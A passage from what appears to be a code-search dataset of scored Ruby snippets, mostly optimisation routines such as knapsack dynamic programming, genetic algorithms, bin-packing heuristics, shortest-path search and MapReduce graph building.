"text": "def optimal_cost(words, j)\n @o ||= {}\n @o[j] ||=\n begin\n ks = []\n cost = cost_between words, 1, j\n if cost == Infinity and j > 1\n ks = (1..j-1)\n candidates = {}\n ks.collect do |k|\n o = optimal_cost words, k\n c = cost_between words, k + 1, j\n # store both the chain of the child call and k\n candidates[c + o[0]] = [o[1], k]\n end\n if candidates.any?\n cost = candidates.keys.min\n # ks is the chain of splits for this line of recursion\n ks = candidates[cost][0] + [candidates[cost][1]]\n end\n end\n # cost of this line, chain of splits that result in this cost\n [cost,ks]\n end\n end",
"title": ""
},
{
"docid": "8f96ae17527766293e03af9a93a0724b",
"score": "0.52515525",
"text": "def solve\n a = Time.new\n for i in 0..@itemsSize - 1\n @table[0][i] = 0\n end\n \n for i in 1..@itemsSize - 1\n price = @problem.prices[i-1]\n weight = @problem.weights[i-1]\n for w in 1..@weights - 1\n if weight <= w\n if (price + @table[w - weight][i - 1]) > @table[w][i -1]\n @table [w][i]= price + @table[w - weight][i - 1]\n else\n @table[w][i] = @table[w][i - 1]\n end\n else\n @table[w][i] = @table[w][i - 1]\n end\n end\n end\n \n \n prev_item = 0\n for i in 1..@itemsSize - 1\n curr_item = @table[@weights - 1][i]\n if prev_item < curr_item\n @best_configuration.push(1)\n else\n @best_configuration.push(0)\n end\n prev_item = curr_item\n end\n \n @best_fitness = @table[@weights - 1][@itemsSize - 1]\n \n b = Time.new\n @time = b-a\n end",
"title": ""
},
{
"docid": "11ceb984c239c3fcfe1d7447ceeb76f4",
"score": "0.52390605",
"text": "def get_workers_from( pool, hashrate_to_take, min_hashrate_to_leave=0, min_workers_to_leave=0 )\n return [ [], 0.0 ] if pool.workers.size <= min_workers_to_leave\n return [pool.workers, pool.hashrate] if pool.workers.size == 1 && min_workers_to_leave == 0 && min_hashrate_to_leave == 0\n\n sorted_workers = pool.workers.sort_by(&:hashrate)\n pool_workers_taken = []\n\n can_take_hashrate = pool.hashrate - min_hashrate_to_leave\n can_take_worker = sorted_workers.size - min_workers_to_leave\n hashrate_taken = 0\n\n # Try all 1 or 2 combinaison of worker and take the closest of hashrate_to_take\n # for i in 1..[can_take_worker, 2].min\n # # TODO: improve this function. Can be much smarter.\n # sorted_workers.combination(i) do |t|\n # hashrate = t.map(&:hashrate).sum\n # leave_hashrate = pool.hashrate - hashrate\n # next if leave_hashrate < min_hashrate_to_leave\n # # A partir de là, la combinaison satisfait min_hashrate_to_leave et min_workers_to_leave\n # current_diff = (hashrate_to_take - hashrate_taken).abs\n # diff = (hashrate_to_take - hashrate).abs\n # next if current_diff < diff\n # pool_workers_taken = t\n # hashrate_taken += hashrate\n # end\n # end\n\n while hashrate_taken < hashrate_to_take && pool.hashrate - hashrate_taken > min_hashrate_to_leave && pool.workers.size - pool_workers_taken.size > min_workers_to_leave\n w = sorted_workers.shift\n pool_workers_taken << w\n hashrate_taken += w.hashrate\n end\n\n [pool_workers_taken, hashrate_taken]\n end",
"title": ""
},
{
"docid": "badad229ec8342cc8ef778322f8fde3c",
"score": "0.5235578",
"text": "def run\n generate_initial_population() #Generate initial population \n\n (1..@max_generation).each do |generation_number|\n puts \"\\nGeneration #{generation_number}\"\n\n fitness_range = get_fitness_range(@population)\n\n next if fitness_range.max == fitness_range.min\n\n @population.sort!()\n\n selected_to_breed = selection() # Evaluates current population \n\n offsprings = reproduction(selected_to_breed) # Generate the population for this new generation\n\n replace_worst_ranked(offsprings)\n\n puts to_s()\n\n mutate()\n\n increment_age()\n end\n\n #return best_chromosome()\n return @population.sort { |a, b| b.fitness <=> a.fitness}\n end",
"title": ""
},
{
"docid": "4e933d89a5c2d05c567c2f6820a3f286",
"score": "0.5225199",
"text": "def process(items, draw_each_step = false)\n # Put the most dense items at the top of the pile.\n sorted_pile = items.sort do |item1,item2|\n item2.density <=> item1.density\n end\n\n # Add each item to the bag\n bag = Knapsack::Bag.new(10, sorted_pile)\n sorted_pile.each_with_index do |item, ix|\n bag.consider(item)\n if draw_each_step\n Knapsack::draw_bag(bag.start, \"tree-#{ix}.png\")\n end\n end\n\n # Draw a picture...\n Knapsack::draw_bag(bag.start, \"tree.png\")\n Knapsack::draw_pile(sorted_pile, \"pile.png\")\nend",
"title": ""
},
{
"docid": "e4c2dec254955e10e0aad8d5d7e06693",
"score": "0.5203043",
"text": "def split_job() \n number_of_real_process = @cores * 2\n number_of_columns_to_render = @job.ending_column - @job.starting_column\n\n number_of_jobs_that_we_want_to_create = number_of_real_process\n if((number_of_columns_to_render/number_of_real_process) < 1) \n number_of_jobs_that_we_want_to_create = number_of_columns_to_render\n end\n\n @subjobs = generate_subjobs(number_of_jobs_that_we_want_to_create) \n end",
"title": ""
},
{
"docid": "2544a6326644cf128083beb8250902ba",
"score": "0.51834214",
"text": "def calculate_optimal_k\n k=0\n @k_optimal = Array.new(@size)\n (3..@size).each{|n|\n k+=1 while(cost(n,k)<cost(n,k+1))\n @k_optimal[n]=k\n }\n end",
"title": ""
},
{
"docid": "339192ec913cad03d96d2bd376d88075",
"score": "0.51672494",
"text": "def calc\n # If the searches have not started\n if breadth_first_search.visited.empty?\n # Calculate the two searches\n calc_breadth_first\n calc_dijkstra\n end\n end",
"title": ""
},
{
"docid": "6bede57f9d931fa390646d472b5b6b4b",
"score": "0.51494795",
"text": "def greedy1_initial_alt2!(remaining_partitions)\n\n virtual_remaining_partitions = DeepClone.clone remaining_partitions\n\n sites_in_current_partition = 0\n # Fill each bin starting with the least filled\n self.each_with_index do |bin, bin_index|\n\n free_space = (@operations_lower_bound - bin.size)\n\n # condition can be equal since the first remaining partition might be split\n dropped_partitions = if virtual_remaining_partitions.first.op_optimized == free_space || (virtual_remaining_partitions.size == 1 && virtual_remaining_partitions.first.op_optimized <= free_space)\n virtual_remaining_partitions.drop!(1)\n sites_in_current_partition = 0\n elsif virtual_remaining_partitions.first.op_optimized < free_space\n partition = virtual_remaining_partitions.drop!(1).first\n sites_in_current_partition = virtual_remaining_partitions.first.sites.size\n space_per_site = (virtual_remaining_partitions.first.op_optimized / sites_in_current_partition).floor\n [partition,\n virtual_remaining_partitions.drop_sites!(((free_space - partition.op_optimized).to_f/space_per_site).ceil, compute = false)]\n else\n sites_in_current_partition = virtual_remaining_partitions.first.sites.size if sites_in_current_partition == 0\n space_per_site = (virtual_remaining_partitions.first.op_optimized / sites_in_current_partition).floor\n virtual_remaining_partitions.drop_sites!((free_space.to_f/space_per_site).ceil, compute = false)\n end\n\n # Phase 2: Add site in the middle of each partition to the bin\n dropped_partitions.each do |partition|\n # Get site in the middle of partition\n mid_site = partition.sites[partition.sites.size / 2]\n\n # Actual assignment of site\n dropped_partition = remaining_partitions.list[partition.name].drop_specific_site!(mid_site)\n bin.add!([dropped_partition])\n end\n end\n\n remaining_partitions\n end",
"title": ""
},
{
"docid": "53a137f6eae717cd20d2e1a698276c1a",
"score": "0.5138123",
"text": "def search( grid, init , deltas, cost, goal , delta_names)\n # ----------------------------------------\n # insert code here and make sure it returns the appropriate result\n # ----------------------------------------\n closed = copy_array_dimensions grid\n expand = copy_array_dimensions grid #, -1\n action = copy_array_dimensions grid, -1\n\t#initalize starting location \n\tclosed[init[0]][init[1]] =1\n\n\tx = init[0]\n\ty = init[1]\n\tg = 0 \n\t\n\topen = [[g,x,y]]\n\tputss 'open', open\n\tputss closed\n\tprint_array expand\n\t#flags\n\tfound = false\n\tresign = false \n\t\n\twhile ( found == false && resign == false )\n\t\t\n\t\tif open.size == 0 \n\t\t\tresign = true \n\t\t\tputs 'fail'\n\t\t\tclosed.each do | row | \n\t\t\t\tputs row.inspect\n\t\t\tend\n\t\telse\n\t\t\topen.sort()\n\t\t\topen.reverse()\n\t\t\tnext_ = open.pop() #use unshift\n\t\t\tputss 'next', next_[0], next_[1]\n\t\t\tx = next_[1] \n\t\t\ty = next_[2]\n\t\t\tg = next_[0] \n\t\t\t\n\t\t\tif x == goal[0] && y == goal[1]\n\t\t\t\tfound = true \n\t\t\t\tputss 'done', next_\n\t\t\telse\n\t\t\t\t#apply action , nod eexpantion\n\t\t\t\tdeltas.each_with_index do | delta, i | \n\t\t\t\t\tx2 = x + delta[0]\n\t\t\t\t\ty2 = y + delta[1]\n\t\t\t\t\tif x2 >= 0 && x2 < grid.size &&\n\t\t\t\t\t\ty2 >= 0 && y2 < grid[0].size\n\t\t\t\t\t\t#putss 'add to open list', [ x2, y2]\n\t\t\t\t\t\t#if not closed and natvigable \n\t\t\t\t\t\tif closed[x2][y2] == 0 && grid[x2][y2] == 0 \n\t\t\t\t\t\t\tg2 = g + cost\n\t\t\t\t\t\t\topen << [g2, x2, y2]\n\t\t\t\t\t\t\texpand[x2][y2] = g2\n\t\t\t\t\t\t\t#putss 'add to open list', [ x2, y2]\n\t\t\t\t\t\t\tclosed[x2][y2] = 1\n\t\t\t\t\t\t\taction[x2][y2] = i\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif grid[x2][y2] != 0 \n\t\t\t\t\t\t\texpand[x2][y2] = -1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\t\n\t#\n\tpolicy = copy_array_dimensions grid, ' '\n\tx = goal[0]\n\ty = goal[1]\n\tpolicy[x][y] = '*'\n\t\n\tprint_array action\n\tputss init, x, y\n\t#return\n\tif resign != true\n\t\twhile ( x != init[0] && y != init[1] )\n\t\t\t#apply inverse action \n\t\t\tx2 = x - deltas[action[x][y]][0]\n\t\t\ty2 = y - deltas[action[x][y]][1]\n\t\t\tpolicy[x][y] = delta_names[action[x][y]]\n\t\t\tx = x2\n\t\t\ty = y2\n\t\tend\n\t\t\n\t\tprint_array policy\n\tend\n\texpand\nend",
"title": ""
},
{
"docid": "b98bc728f2ce570aed33591295b9f3ac",
"score": "0.51243776",
"text": "def generate_partitioner(graph,partitioners,numReduceTask)\r\n \r\n puts\"--- PARTITIONER ---\" \r\n \r\n @Jobs.each do |current_job| \r\n \r\n if partitioners.size == 0\r\n return\r\n end\r\n \r\n numReduceTask_int = 1 # valore di default\r\n \r\n unless numReduceTask.size == 0\r\n numReduceTask.each do |inline|\r\n \r\n fields = inline.split('.')\r\n if current_job == fields[0] #se viene definito un setNumTask per qul job\r\n numReduceTask_int = fields[1].scan(/\\d+/)\r\n numReduceTask_int = numReduceTask_int.first.to_i\r\n else\r\n next\r\n end\r\n end \r\n \r\n if numReduceTask_int == 0 # viene imposto che non ci sará il reducer\r\n next # passo al prossimo ciclo di job\r\n end \r\n end \r\n\r\n fields = partitioners.first.split('.')\r\n \r\n # se il job da analizzare é uguale a quello corrente => lo lavoro\r\n if current_job == fields[0] \r\n partitioner_name = current_job + \".\" + \"PARTITIONER_\" + fields[1].split('(')[1]\r\n \r\n #aggiungo il nodo partitioner\r\n graph.add_node(partitioner_name,\"is_partitioner\")\r\n puts \"aggiunto partitioner:\" + partitioner_name\r\n \r\n # chiudo i nodi pendenti ( job per job) \r\n Close_ALL_pending_links(graph,current_job,partitioner_name)\r\n \r\n for i in(1..numReduceTask_int)\r\n @OpenLink.push(partitioner_name); \r\n end \r\n end \r\n end #do jobs\r\n \r\n end",
"title": ""
},
{
"docid": "646683d4e6cf40d3a112b3fe375ac132",
"score": "0.5121299",
"text": "def jobs\r\n end",
"title": ""
},
{
"docid": "18cd2162f6d7a468cfffef077f6e1619",
"score": "0.511757",
"text": "def greedy1_initial_alt3!(remaining_partitions)\n bin_index = 0\n virtual_size = 0\n remaining_partitions.each do |partition|\n average_site_size = partition.size / partition.sites.size\n z = 0\n while z < partition.sites.size && bin_index < @list.size\n # Number of sites of this partition to go in bin bin_index\n z_prime = [((@operations_lower_bound - @list[bin_index].size - virtual_size).to_f/average_site_size).ceil,\n partition.sites.size - z].min\n\n # Assign site to bin\n mid_site = partition.sites[z + z_prime / 2]\n dropped_partition = partition.drop_specific_site!(mid_site)\n @list[bin_index].add!([dropped_partition])\n\n # -1 because we dropped one site, so the index z is also -1\n z += z_prime - 1\n if z >= partition.sites.size\n virtual_size = z_prime * average_site_size - @operations_worst_case\n else\n virtual_size = 0\n bin_index += 1\n end\n end\n end\n remaining_partitions\n end",
"title": ""
},
{
"docid": "cf3e3eebe7815c4bde57d8c2a28de84a",
"score": "0.5115123",
"text": "def make\n @stats = []\n @history.each {|generation| make_stats(generation) } \n when_best\n self\n end",
"title": ""
},
{
"docid": "dabdff58090fe7ebb0bb38cc5ade37a0",
"score": "0.5113092",
"text": "def workers(count); end",
"title": ""
},
{
"docid": "1e031d198fe67c48adba0638b178566a",
"score": "0.50990456",
"text": "def initialize\n @people_needed = 6 #start out needing 6 people because there are no employees\n @waiting = fill_queue #private method to fill queue\n @employees = Stack.new #starts empty. we need to fill with employees when we hire\n\n end",
"title": ""
},
{
"docid": "6b731ae0a2f892f2ed114bb71b3ebb5d",
"score": "0.50849414",
"text": "def dij(linkPackageMap, native)\nputs \"start dij\"\ndist = Hash.new();\nprevNode = Hash.new();\ntraversed = Array.new;\nallNodes = linkPackageMap.keys;\n#for i in 0..allNodes.length - 1\n#\tdist[allNodes[i]] = -1;\n#\tprevNode[allNodes[i]] = nil;\n#end\ndist[native] = 0;\nprevNode[native] = native;\n#q = PriorityQueue.new\n#q[native] = 0;\n\nq = Pqueue.new();\nq.push(native, 0);\n\n\nuntil q.isEmpty()\n\tu, distance = q.pop();\n\ttraversed.push(u);\n\t#puts u;\n\t#puts distance;\n\tuNeighborMap = linkPackageMap[u].map();\n\t#puts uNeighborMap.keys;\n\tuNeighbors = uNeighborMap.keys\n\tfor i in 0..uNeighbors.length - 1\n\t\t#puts uNeighbors[i]\n\t\tif !traversed.include?(uNeighbors[i]) then\n\t\t\tnewDistance = dist[u].to_i + uNeighborMap[uNeighbors[i]].to_i;\n\t\t\tif dist[uNeighbors[i]] == nil then\n\t\t\t\tdist[uNeighbors[i]] = newDistance\n\t\t\t\tprevNode[uNeighbors[i]] = u;\n\t\t\telse \n\t\t\t\tif newDistance < dist[uNeighbors[i]] then\n\t\t\t\tdist[uNeighbors[i]] = newDistance\n\t\t\t\tprevNode[uNeighbors[i]] = u;\n\t\t\t\tend\n\t\t\tend\n\t\t\tq.push(uNeighbors[i], dist[uNeighbors[i]].to_i);\n\t\t\t#q[uNeighbors[i]] = dist[uNeighbors[i]].to_i;\n\t\tend\n\t\t\t\n\tend\n\nend\n\n\n\nnodes = prevNode.keys;\n#puts nodes;\nnativeNeighbor = linkPackageMap[native].map();\n#nativeNeighbor.each{|key, value| puts \"key : #{key} value : #{value}\"}\nfor i in 0 .. nodes.length - 1\n\tif prevNode[nodes[i]] == native then\n\t\tprevNode[nodes[i]] = nodes[i];\n\telse\n\t\twhile(!nativeNeighbor.include?(prevNode[nodes[i]]) )\n\t\t\tprevNode[nodes[i]] = prevNode[prevNode[nodes[i]]];\n\t\tend\t\n\tend\nend\n\nreturn dist, prevNode;\nend",
"title": ""
},
{
"docid": "69fef9546d167afa8dce073fbdf8ed2e",
"score": "0.50804526",
"text": "def calculate_subsolutions_space_efficient\n @subsolutions_1 = Array.new(@max_weight+1, 0)\n @subsolutions_2 = Array.new(@max_weight+1)\n\n ([email protected]).each { |i|\n puts i\n (0..@max_weight).each { |j|\n # case 1. Item i excluded, no additional weight added to knapsack\n value1 = @subsolutions_1[j]\n # case 2. Item i is included, requires adding item's weight to knapsack\n value2 = (@items[i-1].weight<=j) ? (@items[i-1].value + @subsolutions_1[j-@items[i-1].weight]) : -1\n # a total value stored in a knapsack, when i items and j max_knapsack_weight\n @subsolutions_2[j] = (value1>value2) ? value1 : value2\n }\n # move newly found subsolutions to subsolutions1\n (0..@subsolutions_2.size-1).each {|i| @subsolutions_1[i] = @subsolutions_2[i] }\n }\n @max_value = @subsolutions_2[@max_weight]\n end",
"title": ""
},
{
"docid": "700738512aef5907866468f5ba14f88a",
"score": "0.50786227",
"text": "def solve_ncqueen(n)\n ss = solve_nqueen(n) # solutions of n-queen\n ssi = Array.new(n){|i| [] } # solutions which includes [0, i]\n ns = ss.size # # solutions\n cs = Array.new # candidates of solutions for n-colored-queen\n\n # initialize ssi\n ss.each do |s|\n ssi[s[0][1]].push(s)\n end\n\n prd = 1\n for i in 0..n-1\n prd *= ssi[i].size\n end\n puts \"# #{n}-queen solutions = #{ns}\"\n puts \"# #{n}-cqueen candidates = #{prd}\"\n\n # initialize cs\n for i in 0..ssi[0].size-1\n cs.push([ [i], ssi[0][i] ])\n end\n\n # depth first search\n while (c = cs.pop) != nil\n sol = c[0] # solution\n pie = c[1] # pieces\n i = sol.size # next index\n\n break if i == n # c is a solution\n\n # add c's valid children to cs\n for j in 0..ssi[i].size-1\n nsol = sol + [j] # next solution\n npie = (pie + ssi[i][j]).uniq # next pieces\n cs.push([nsol, npie]) if npie.size == n*(i+1)\n end\n end\n\n # solution\n s = []\n if c != nil\n for i in 0..n-1\n s.push(ssi[i][ c[0][i] ])\n end\n end\n s\nend",
"title": ""
},
{
"docid": "86b6a9faf7eb6c2bf189f083d44150fc",
"score": "0.5075529",
"text": "def run\n generate_initial_population #Generate initial population\n\n @max_generation.times do |i|\n\n message = \"Generation: #{i}, best fitness: #{@population[0].fitness}\"\n @options[:stats][:gen] ||= []\n @options[:stats][:gen][i] = {\n fitness: @population[0].fitness,\n time: Time.now - @options[:stats][:start_run]\n }\n puts message\n unless @options[:rb_channel].nil?\n @options[:rb_channel].publish({data: message, event: 'output'}.to_json)\n end\n\n selected_to_breed = selection #Evaluates current population\n offsprings = reproduction selected_to_breed #Generate the population for this new generation\n replace_worst_ranked offsprings\n end\n return best_chromosome\n end",
"title": ""
},
{
"docid": "63856540e4aa7d1754677fa5ae6314ee",
"score": "0.50722885",
"text": "def exercise_method\n\n # => All jobs\n @old = Job.all\n @jobs=Set.new\n @jobs=@old\n @result=Set.new\n # => let remove the singles, independent one\n @jobs.each do |f| \n if f.predecessor_id.nil? && f.successor_id.nil?\n if @result.add?(f).nil?\n return 'Error 1'\n end\n @jobs.delete(f)\n end\n if f.predecessor_id==f.id || f.successor_id==f.id\n raise \"#{f.inspect}\"\n \n return 'Error 0'\n end\n end\n\n # => following successors\n @jobs.each do |f|\n if f.predecessor_id.nil? \n loop do\n if @result.empty?\n @result.add(f)\n elsif @result.add?(f).nil?\n return 'Error 2'\n end\n @jobs.delete(f)\n if !f.successor_id.nil?\n f = Job.find(f.successor_id)\n else\n f=nil\n end\n break if !f \n end\n end\n end\n \n if @jobs.any?\n return 'Error 3'\n end\n return @result\n end",
"title": ""
},
{
"docid": "57c786ba39d2f12d52a619ebc5b66a8e",
"score": "0.504285",
"text": "def build_distribution\n dist = Array.new(NUM_DICE * SIDES + 1, 0)\n (1..SIDES).each do |i|\n (1..SIDES).each do |j|\n dist[i+j] += 1\n end\n end\n\n # normalize to a probability\n (NUM_DICE..NUM_DICE * SIDES).each do |k|\n dist[k] = dist[k].to_f / 36.to_f\n end\n dist\nend",
"title": ""
},
{
"docid": "8c2614d0e342e2e8c318dee1dee4dc55",
"score": "0.5042696",
"text": "def solve(ingredients, part_two: false)\n score = 0\n max = 0\n\n (0..100).each do |i|\n (0..100 - i).each do |j|\n (0..100 - i - j).each do |k|\n l = 100 - i - j - k\n capacity = calculate_total(ingredients, \"capacity\", i, j, k, l)\n durability = calculate_total(ingredients, \"durability\", i, j, k, l)\n flavor = calculate_total(ingredients, \"flavor\", i, j, k, l)\n texture = calculate_total(ingredients, \"texture\", i, j, k, l)\n calories = calculate_total(ingredients, \"calories\", i, j, k, l)\n\n next if part_two && calories != 500\n next if capacity <= 0 || durability <= 0 || flavor <= 0 || texture <= 0\n\n score = capacity * durability * flavor * texture\n max = score if score > max\n end\n end\n end\n max\nend",
"title": ""
},
{
"docid": "f7bd17c1af5e23139462fa068212afbf",
"score": "0.50363636",
"text": "def execute\n @generation = 0\n output_hash = { best_fit: nil, gen_of_best_fit: 0, func_evals_of_best_fit: 0,\n relative_error: nil, optimal_func_val: nil }\n begin\n init_population\n p 'population initialized'\n select_taguchi_array\n p \"the selected taguchi array is L#{@taguchi_array.size}\"\n while @generation < @max_generation\n selected_indexes = roulette_select\n cross_individuals selected_indexes\n generate_offspring_by_taguchi_method\n mutate_individuals\n select_next_generation\n if (@generation % 50).zero?\n p \"Generation: #{@generation}- Fitness: #{@chromosomes.first.fitness}\"\n end\n update_output_hash output_hash\n break if has_stopping_criterion_been_met? output_hash[:best_fit]\n @generation += 1\n end\n relative_error = (((output_hash[:best_fit] + 1) / (@optimal_func_val + 1)) - 1).abs\n output_hash[:relative_error] = relative_error\n output_hash[:optimal_func_val] = @optimal_func_val\n rescue StandardError => e\n p e.message\n p e.backtrace.inspect\n end\n p output_hash\n output_hash\n end",
"title": ""
},
{
"docid": "d018943e532dfb3e26176c37022f88d8",
"score": "0.5033208",
"text": "def calculate_subsolutions\n @subsolutions = Array.new(@items.size+1) { Array.new(@max_weight+1) }\n @subsolutions[0].map!{|value| 0}\n ([email protected]).each { |i|\n (0..@max_weight).each { |j|\n # case 1. Item i excluded, no additional weight added to knapsack\n value1 = @subsolutions[i-1][j]\n # case 2. Item i is included, requires adding item's weight to knapsack\n value2 = (@items[i-1].weight<=j) ? (@items[i-1].value + @subsolutions[i-1][j-@items[i-1].weight]) : -1\n # a total value stored in a knapsack, when i items and j max_knapsack_weight\n @subsolutions[i][j] = (value1>value2) ? value1 : value2\n }\n }\n @max_value = @subsolutions[@items.size][@max_weight]\n end",
"title": ""
},
{
"docid": "d51bba436ae67ff354e1868ab8efb22f",
"score": "0.5033143",
"text": "def cut_fill!(remaining_partitions)\n # Fill each bin starting with the least filled\n self.each do |bin|\n break if remaining_partitions.empty? # End if all remaining partitions have been distributed already\n\n # Total number of operations that need to go into this bin\n total_operations_remaining = remaining_partitions.op_optimized_size\n total_free_space = self.total_free_space\n\n # How many operations need to go into the current bin\n operations_for_bin = [((@operations_lower_bound - bin.size).to_f / total_free_space * total_operations_remaining).ceil,\n @operations_lower_bound - bin.size].max\n\n # Fill sites that add up to \"operations_for_bin\" taken from \"remaining_partitions\" into the bin.\n # The rest stays in \"remaining_partitions\".\n dropped_partitions = remaining_partitions.drop_operations!(operations_for_bin)\n bin.add!(dropped_partitions)\n end\n end",
"title": ""
},
{
"docid": "aa746acf093f89f3dd2d574416ba72c4",
"score": "0.50286084",
"text": "def problem_108(size = 1001)\n func = lambda do |a|\n if a.length == 1\n a[0]+1\n else\n m = a[0]\n (2*m+1) * func.call(a[1,a.length]) -m\n end\n end\n\n primes = Primes.upto(200)\n prime_number = lambda do |a|\n r = 1\n a.sort.reverse.each_with_index { |m,i| r *= primes[i] ** m }\n r\n end\n\n values = {}\n last = 0\n 1.upto(100).each do |nn|\n nn.groupings do |a|\n sols = func.call a\n ans = prime_number.call a\n# puts \"np=#{nn} sols=#{sols} ans=#{ans} => #{a.inspect}\"\n if values[sols]\n values[sols] = [values[sols],[ans,a]].min\n else\n values[sols] = [ans,a]\n end\n true\n end\n size.upto(size*5/4) do |num|\n if values[num]\n puts \"for np = #{nn} => #{num} => #{values[num].inspect}\"\n if last == values[num]\n puts \"factors = #{values[num][0].factors}\"\n return values[num][0] \n end\n last = values[num]\n break\n end\n end\n #values.sort.each do |k,v|\n # puts \"#{k} => #{v}\"\n #end\n end\n nil\nend",
"title": ""
},
{
"docid": "9071a91aa099905867320667e8901993",
"score": "0.50193214",
"text": "def fully_extend_all reps=nil\n dist.branches.times do |i|\n hits = mapee(i).hits\n len = mapee(i).length\n mapee(i).clear_hits\n reps = (@len.to_f / len).round if reps.nil?\n mapee(i).length = @len\n reps.times do |j|\n new_hits = HitSq.new\n new_hits << hits\n new_hits * (1.0/reps)\n new_hits + (j.to_f / reps)\n# puts new_hits.hits.inspect\n mapee(i) << new_hits\n end\n# puts mapee(i).hits.hits.inspect\n end\n end",
"title": ""
},
{
"docid": "4c38b80952766002e494b9044bd7e3e0",
"score": "0.5014552",
"text": "def generate_reducer(graph,reducers,numReduceTask)\r\n\r\n puts\"--- REDUCER -------\"\r\n \r\n @Jobs.each do |current_job| \r\n \r\n # -------------- definisco il numReduceTask (per ogni job) -------------- \r\n numReduceTask_int = 1 # valore di default\r\n \r\n unless numReduceTask.size == 0\r\n numReduceTask.each do |inline|\r\n \r\n fields = inline.split('.')\r\n if current_job == fields[0] #se viene definito un setNumTask per qul job\r\n numReduceTask_int = fields[1].scan(/\\d+/)\r\n numReduceTask_int = numReduceTask_int.first.to_i\r\n else\r\n next\r\n end\r\n end # do numReduceTask\r\n \r\n # viene imposto che non ci sará il reducer => passo al prossimo ciclo di job\r\n if numReduceTask_int == 0 \r\n next \r\n end \r\n end #fine size==0\r\n \r\n \r\n # ---------------- ora posso definire i reducer con le quantitá corrette ------------------\r\n\r\n reducers.each_with_index do |inline,i|\r\n\r\n fields = reducers.first.split('.')\r\n \r\n # se il job da analizzare é uguale al job corrente => lo lavoro\r\n if current_job == fields[0]\r\n if numReduceTask.first == 0\r\n next\r\n end\r\n \r\n reducer_name = current_job + \".\" + \"REDUCER_\" + fields[1].split('(')[1]\r\n\r\n #aggiungo il nodo reducer\r\n if numReduceTask_int == 1 # Reducer singolo\r\n\r\n graph.add_node(reducer_name,\"is_reducer\")\r\n puts \"aggiunto reducer:\" + reducer_name\r\n \r\n Close_ALL_pending_links(graph,current_job,reducer_name)\r\n @OpenLink.push(reducer_name); \r\n \r\n else # Reducer multiplo\r\n \r\n for i in(1..numReduceTask_int)\r\n \r\n reducer_unique_name = reducer_name + \"_#{i}\" # il reducer é sempre lo stesso, per discriminarlo aggiungo un suffisso\r\n \r\n graph.add_node(reducer_unique_name,\"is_reducer\")\r\n puts \"aggiunto reducer:\" + reducer_unique_name\r\n\r\n #aggiungo il link tra l'i-esimo nodo pendente (dal partitioner) e l'i-esimo reducer\r\n graph.add_link(@OpenLink.first, reducer_unique_name, \"\")\r\n puts \"aggiunto link:\" + @OpenLink.first + \"->\" + reducer_unique_name\r\n \r\n #elimino il primo elemento dell'array dei nodi pendenti ( ormai é stato collegato)\r\n @OpenLink.shift;\r\n \r\n # creo i nuovi link pendenti\r\n @OpenLink.push(reducer_unique_name);\r\n \r\n end\r\n end # fine multiReducer\r\n end # if currient_job\r\n end # do reducers\r\n end #do jobs \r\n\r\n end",
"title": ""
},
{
"docid": "bed2236e3c8f65578ae7068c4851c1de",
"score": "0.5013447",
"text": "def assign_Prob(sign,parameters,probability)\n if @parents.length > 1\n lookArray = Array.new(parameters.split(',').length)\n parameters.split(',').each do |par_name|\n parSign = par_name[0]\n parName = par_name.gsub(/\\+/,'').gsub(/-/,'')\n Nodes.length.times do |nodePosition|\n if Nodes[nodePosition].get_Name == parName\n if parSign == '+'\n lookArray[nodePosition] = 1;\n else\n lookArray[nodePosition] = 0;\n end\n end\n end\n end\n end\n if @parents.length == 1\n parameters.split(',').each do |par_name|\n parSign = par_name[0]\n parName = par_name.gsub(/\\+/,'').gsub(/-/,'')\n Nodes.length.times do |nodePosition|\n if Nodes[nodePosition].get_Name == parName\n if parSign == '+'\n lookArray= 1;\n else\n lookArray= 0;\n end\n end\n end\n end\n end\n (2**@parents.length).times do |caso|\n f=true\n if @parents.length > 1\n @parents.length.times do |i|\n if @parMap[caso][i].to_i != lookArray[i].to_i\n f = false\n end\n end\n end\n if @parents.length == 1\n if @parMap[caso][0].to_i != lookArray.to_i\n f = false\n end\n end\n if f\n if sign=='+'\n @prob[caso][0]=probability\n @prob[caso][1]=(1.0 -probability).round(3)\n else\n @prob[caso][0]=1.0 -(probability).round(3)\n @prob[caso][1]=probability\n end\n end\n end\n #puts @prob\n #puts @name\n end",
"title": ""
},
{
"docid": "c9de11852e15c8244abc1ff951e52070",
"score": "0.50105304",
"text": "def solution_proximity_heuristic(amount,comb,coins)\n (amount-comb.sum)*min_size_heuristic(amount,comb,coins)\nend",
"title": ""
},
{
"docid": "972179e06971f103a7994efe3577ced5",
"score": "0.5001527",
"text": "def calc_queued_jobs_requesting_GPUs\n @queued_jobs_requesting_gpus = 0\n #@queued_jobs_requesting_gpus = 0\n #@oodClustersAdapter.info_all_each { |job| queued_jobs_requesting_gpus_counter(job) }\n #@queued_jobs_requesting_gpus\n end",
"title": ""
},
{
"docid": "ad3c73cb8477c1cf01dac98d8abd5df2",
"score": "0.4997031",
"text": "def prepare_search\n # puts \"prepare_search called\"\n @current_point = @start_vector\n @interval_index = 0\n @path = [@start_vector]\n @initial_run = true\n \n @current_cost = get_cost @current_point\n end",
"title": ""
},
{
"docid": "5dba04d0d85e8c5cf2b1307d864fee6a",
"score": "0.49801582",
"text": "def greedy_solve problem\n start_time = Time.now\n items = problem.item_footprints.sort\n current = []\n items.each do |footprint|\n cands = (0..problem.path_funcs.length - 1).to_a.map do |path|\n c = current.map{|i| i.clone}\n c << Item.new(footprint, path)\n c\n end.map{|s| {:solution => s, :objective_func => objective_function(s, problem.path_funcs)}}\n current = cands.reduce{|x,y| x[:objective_func] > y[:objective_func] ? x : y}[:solution]\n end\n {:solution => current, :objective_func => objective_function(current, problem.path_funcs), \n :elapsed_time => Time.now - start_time}\n end",
"title": ""
},
{
"docid": "3379b7e65e803ea7e3046c9f09bebb6c",
"score": "0.49777636",
"text": "def initial_population problem\n n = problem.path_funcs.length\n @population_size = (@pop_size_multiplier * problem.item_footprints.length).to_i\n init_pop = []\n gs = greedy_solve(problem)[:solution]\n 1.upto((@greedy_seed_proportion * @population_size) - 1) do |s|\n if s == 1\n init_pop << gs\n else\n init_pop << mutate(gs, problem.path_funcs.length, @greedy_mutation_rate)\n end\n end\n while init_pop.length < @population_size do\n init_pop << problem.item_footprints.sort.map{|i| Item.new(i, rand_int(0, n - 1))}\n end\n init_pop\n end",
"title": ""
},
{
"docid": "af54d8cc43526331aabbb0c2924b77a9",
"score": "0.49735448",
